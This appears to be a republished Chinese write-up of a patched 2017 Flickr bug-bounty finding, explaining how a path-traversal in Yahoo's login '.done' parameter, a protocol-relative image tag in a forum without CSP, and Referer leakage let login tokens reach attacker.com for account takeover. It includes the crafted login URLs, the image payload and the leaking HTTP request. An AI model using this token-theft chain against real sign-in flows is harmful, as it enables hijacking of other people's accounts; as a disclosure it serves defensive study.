本文讲的是价值7k美刀的Flickr网站漏洞是怎么样的?,Flickr是雅虎旗下图片分享网站,Reizelman发现该网站存在三个漏洞,三个漏洞相互配合使用,可以接管他人Flickr帐户。

Flickr.com登录流程概述    

Reizelman发现每次用户登录Flickr.com网站时,都会被重定向到login.yahoo.com域用于身份验证。

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/null

以上网址是Yahoo帐户登录页面,用户被提示输入他的账户密码。输入账户密码并单击登录后,如果账户密码有效,则将其重定向到以下Flickr url:

https://www.flickr.com/signin/yahoo/?redir=https%3A%2F%2Fwww.flickr.com%2F&.data={first-token-value}&.ys={second-token-value }

Reizelman通过观察,如果用户已经登录到Yahoo,再点击登录链接:

https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=H6T9XcS72e4mRnW3NpTAiU8ZkA–&.intl=il&.lang=en&mg=1&.done=https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=0&.pd=c=JvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done =https://www.flickr.com/signin/yahoo/?redir=https://www.flickr.com/

验证的流程发生在后台,用户不需要在Yahoo域输入他的账户密码,即可完成flickr网站登录认证。

这种的验证方式可能引发其他用户的账户被黑客接管,因为用户只需点击单个链接(如在某些OAuth实现中)来进行身份验证,这样他就可以进行身份验证。熟悉了登录的流程,进行寻找是否有会被他人账户被黑客接管的风险。

通过以上的url我发现,我可以控制.done这个参数,该参数控制了登录token的发送位置,看起来雅虎只验证https://www.flickr.com/signin/yahoo/这种开头的域,但是我们仍然可以附加../所以如果我们将../../test附加到.done参数 .ys及.data的Token将被发送到https://www.flickr.com/test页面。

这给了我一个引导,假如我在ww.flickr.com找到一个重定向,我就可以把Token发送到我控制的服务器,但是无法在www.flickr.com主域找到一个重定向漏洞,所以我寻找其他的办法。

经过一番查找,我找到了这个页面:https://www.flickr.com/html.gne?tighten=0&type=comment,可以在Flickr评论页面中插入图片。我觉得也许可以在评论插入一个外链图片,Toeken将通过referer字段发送到我控制的机器上,我发表了一个评论插入了图片。

      /img src=“https://attacker.com/someimage.jpg”/

该图像确实插入在评论中了,但是src值成如下连接:

https://ec.yimg.com/ec?url=https://attacker.com/someimage.jpg&t=1491136241&sig=FGQiNHDOtEj7LQDBbYBnwA-~C

这实际是雅虎的代理,把用户上传图片,自己保存,通过代理的方式来加载显示,不去请求外部的服务器。但是,如果我使用一些技巧,我可以操纵Flickr图像处理逻辑。发布了以下评论:

  /img src=“//www.attacker.com/someimage.jpg”/

该注释未被代理操作,并且src保持原样,按理说图片会显示在评论中,但是,有遇到一个问题了,网站使用了Content-Security-Policy(CSP),img-src属性定义了,只能从以下的网站加载图片。因为我们插入图片的网址不是白名单内的,是无法加载的。

Content-Security-Policy:img-src data: blob:
https://*.flickr.com
https://*.flickr.net
http://*.flickr.net
https://*.staticflickr.com
http://*.staticflickr.com
https://*.yimg.com
https://*.yahoo.com
https://*.cedexis.com
https://*.cedexis-test.com
https://*.cedexis-radar.net
https://sb.scorecardresearch.com
https://image.maps.api.here.com
https://csync.yahooapis.com
https://*.paypal.com
https://*.pinterest.com
http://*.static-alpha.flickr.com
https://geo-um.btrll.com
https://connect.facebook.net
https://*.facebook.com
https://bs.serving-sys.com
https://*.adserver.yahoo.com
https://*.maps.api.here.com
https://*.maps.cit.api.here.com
https://*.ads.yahoo.com
https://secure.footprint.net

知道这一点后,我尝试在其他页面寻找可评论的地方,过了一段时间,找到了一个论坛页面,www.flickr.com/help/forum/en-us/。这个页面支持HTML代码插入功能的评论,更爽的是https://www.flickr.com/help/forum/*这个网站都没用使用CSP。

所以我在论坛发布了以下评论:
 / img src =“ /  / www.attacker.com/someimage.jpg”/

一个外部的图片被插入到这里:

https://www.flickr.com/help/forum/en-us/72157668446997150/page14/

所以我现在要做的就是构造最终的url,如下:

https://login.yahoo.com/config/validate?.src=flickrsignin&.pc=8190&.scrumb=cLI6NPLejY6&.scrumb2=GszxN7PzUWX&.pd=c%3DJvVF95K62e6PzdPu7MBv2V8-&.intl=il&.done=https://www.flickr.com/signin/yahoo/../ ../help/forum/en-us/72157668446997150/page14/

当用户点击链接时他被重定向到https://www.flickr.com/help/forum/en-us/72157668446997150/page14?data={some-token}&.ys={second -token},在这个请求中,他向浏览器发出来了如下的请求。

GET https://www.attacker.com/someimage.jpg HTTP/1.1Host: www.attacker.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87    Safari/537.36Accept: image/webp,image/*,*/*;q=0.8Referer: https://www.flickr.com/help/forum/en-us/72157668446997150/page14/?.data={some-token}&.ys={second-token} Accept-Encoding: gzip, deflate, sdch, brAccept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.

可以看到Referer字段的含有.data={some-token}&.ys={second-token},将要发送到指定的网址,而这个网站是我们控制的,可以拿到Rerferer信息。

攻击者通过referer拿到token之后,构造攻击url,如下

https://www.flickr.com/signin/yahoo/?.data={copied from refferer}&。ys = {replied referer

即可登录到受害者的账户。

修复

雅虎通过以下的办法来解决这个漏洞。

1. login.yahoo.com端点上的.done参数仅允许https://www.flickr.com/signin/yahoo/作为有效值。

2.使用“/  / ”的插入的图片也是固定的。

3.现在CSP应用于Flickr论坛。

修复时间线

2017年4月2日 –  通过Hackerone的初步报告

2017年4月3日 –  报告举报

2017年4月10日 – 报告已解决

2017年4月21日 – 7K $奖赏奖励

原文发布时间为:2017年5月4日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
原文链接

价值7k美刀的Flickr网站漏洞是怎么样的?相关推荐

  1. 随机邮箱_万豪随机发50美刀的礼券,看看你的邮箱有没有!英国航空BA里程缩水在即...

    万豪撒50美刀礼品券 昨天晚些时候开始,部分同学收到了万豪发来的50美刀礼品券,这一活动对万豪来说很少发生,在国外的飞客网站上也成了热门话题 目前不知道 万豪发这个活动以什么为名,从反馈看,有30和5 ...

  2. 国外短链接项目。一万次点击220美刀

    大家好,我是四点 一个混迹在互联网上赚钱的人 未来十年一路同行 "国外短链接项目" 今天四点给大家分享一个国外短网址赚钱项目,这是一个点击短链接就可以挣美刀的网站,宣称万次播放最高 ...

  3. 能把晦涩难懂的研究工作讲清楚,Distill就奖你10000美刀

    Root 编译整理 量子位 出品 | 公众号 QbitAI 在机器学习研究圈里,大家可能都有这样的赶脚: 大部分从事机器学习研究的人,不太擅长写作,无法清晰地呈现自己的研究工作. 为了奖励那些对于论文 ...

  4. 网站漏洞安全测试 具体渗透思路分析

    渗透测试这些是经常谈到的问题了,我觉得当有了渗透接口测试之后你就会发现渗透测试这一方面也就是:1.基本漏洞测试:2.携带"低调"构思的心血来潮:3.锲而不舍的信念.我们SINE安全 ...

  5. 渗透测试网站漏洞代码分析与检测

    渗透测试这些是经常谈到的问题了,我觉得当有了渗透接口测试之后你就会发现渗透测试这一方面也就是:1.基本漏洞测试:2.携带"低调"构思的心血来潮:3.锲而不舍的信念.我们SINE安全 ...

  6. PrestaShop 网站漏洞修复如何修复

    2019独角兽企业重金招聘Python工程师标准>>> PrestaShop网站的漏洞越来越多,该网站系统是很多外贸网站在使用的一个开源系统,从之前的1.0初始版本到现在的1.7版本 ...

  7. PrestaShop 网站漏洞修复办法

    PrestaShop网站的漏洞越来越多,该网站系统是很多外贸网站在使用的一个开源系统,从之前的1.0初始版本到现在的1.7版本,经历了多次的升级,系统使用的人也越来越多,国内使用该系统的外贸公司也很多 ...

  8. 如何修复网站漏洞Discuz被挂马 快照被劫持跳转该如何处理

    Discuz 3.4是目前discuz论坛的最新版本,也是继X3.2.X3.3来,最稳定的社区论坛系统.目前官方已经停止对老版本的补丁更新与升级,直接在X3.4上更新了,最近我们SINE安全在对其安全 ...

  9. 网站漏洞扫描工具Uniscan

    网站漏洞扫描工具Uniscan 网站漏洞的种类有很多种,如何快速扫描寻找漏洞,是渗透测试人员面临的一个棘手问题.Uniscan是Kali Linux预先安装的一个网站漏洞扫描工具.该工具可以针对单一. ...

  10. Drupal 网站漏洞修复以及网站安全防护加固方法

    2019独角兽企业重金招聘Python工程师标准>>> drupal是目前网站系统使用较多一个开源PHP管理系统,架构使用的是php环境+mysql数据库的环境配置,drupal的代 ...

最新文章

  1. SAP MM MIGO过账报错 - 用本币计算的余额 - 之对策
  2. ts包、表、子表、section的关系
  3. Android应用开发基础篇(1)-----Button
  4. question: student_link
  5. mysql从字符串中取子字符串_如何从开始于MySQL中特定位置的字符串中提取子字符串?...
  6. ContextMenuStrip 类
  7. 数据结构与算法--死磕二叉树
  8. Word文档加密技巧
  9. git clone 报“The project you were looking for could not be found.”
  10. C#中获取程序集版本号的方法
  11. unity旧动画系统之animationClip/animationEvent/animationCurve
  12. Win7安装英文语言包(图文)
  13. 软件开发版本管理规范
  14. JQuery实现表单验证并使错误数据其无法提交到数据库
  15. Blender图解教程:手把手教你独立游戏开发必备的极简式贴图法
  16. 接口优化从20s优化到500ms
  17. Android wifi探究一:初步认识wpa_supplicant与wifi框架梳理
  18. ei论文计算机,容易写的计算机ei论文题目 计算机ei专业论文题目如何拟
  19. 论学习和工作的最大区别
  20. Logo设计没灵感?这7个宝藏网站拯救你的头发

热门文章

  1. SAP系统开发里程碑 2022 刘欣
  2. 用c++从头开始实现决策树
  3. 微信公众平台之模拟登录
  4. PIL 库介绍与简单应用
  5. RFID技术实现汽车零部件与EDI自动连接
  6. movieclip颜色
  7. 工地泥浆流出大量邵阳抽泥浆罐车清理路面泥巴
  8. 扇形面积公式推导过程
  9. 机顶盒装linux教程,一种Linux机顶盒焦点控制方法与流程
  10. android 跳转oppo应用中心_Android唤起应用商店并跳转到应用详情页